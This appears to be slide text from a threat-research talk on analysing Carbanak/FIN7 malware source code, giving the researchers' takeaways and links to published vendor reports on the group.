Red teamer's scratch pad of command line magic
What does this mean?
Why was the operator being recorded?
Takeaways

- Ironically, source code does not always elucidate
  - Hard code is hard 😊
  - Cross-references > grep
- But naturally, source does come with unique discoveries
- Carbanak: Lots of time on custom capabilities / But also, not averse to public/commercial tools
- Confirmed theories from the blog
  - Theories derived from hunting and post-processing scripts
  - Even without source code, can still make accurate inferences
- And... Vindicated! Tom’s binary analysis was spot on
  - We don’t usually get the answer key! 😊
FIN7 via FireEye:

https://feye.io/fin7

Mike & Tom on Twitter:
@mykill
@jtbennettjr
Resources

- FIN7 via FireEye: https://feye.io/fin7
- Carbanak via Other
  - Kaspersky: securelist.com/the-great-bank-robbery-the-carbanak-apt/68732/
  - Group IB and Fox-It: group-ib.com/files/Anunak_APT_against_financial_institutions.pdf
- FIN7 using CobaltStrike: icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns
- Shellcode hashes: fireeye.com/blog/threat-research/2012/11/precalculated-string-hashes-reverse-engineering-shellcode.html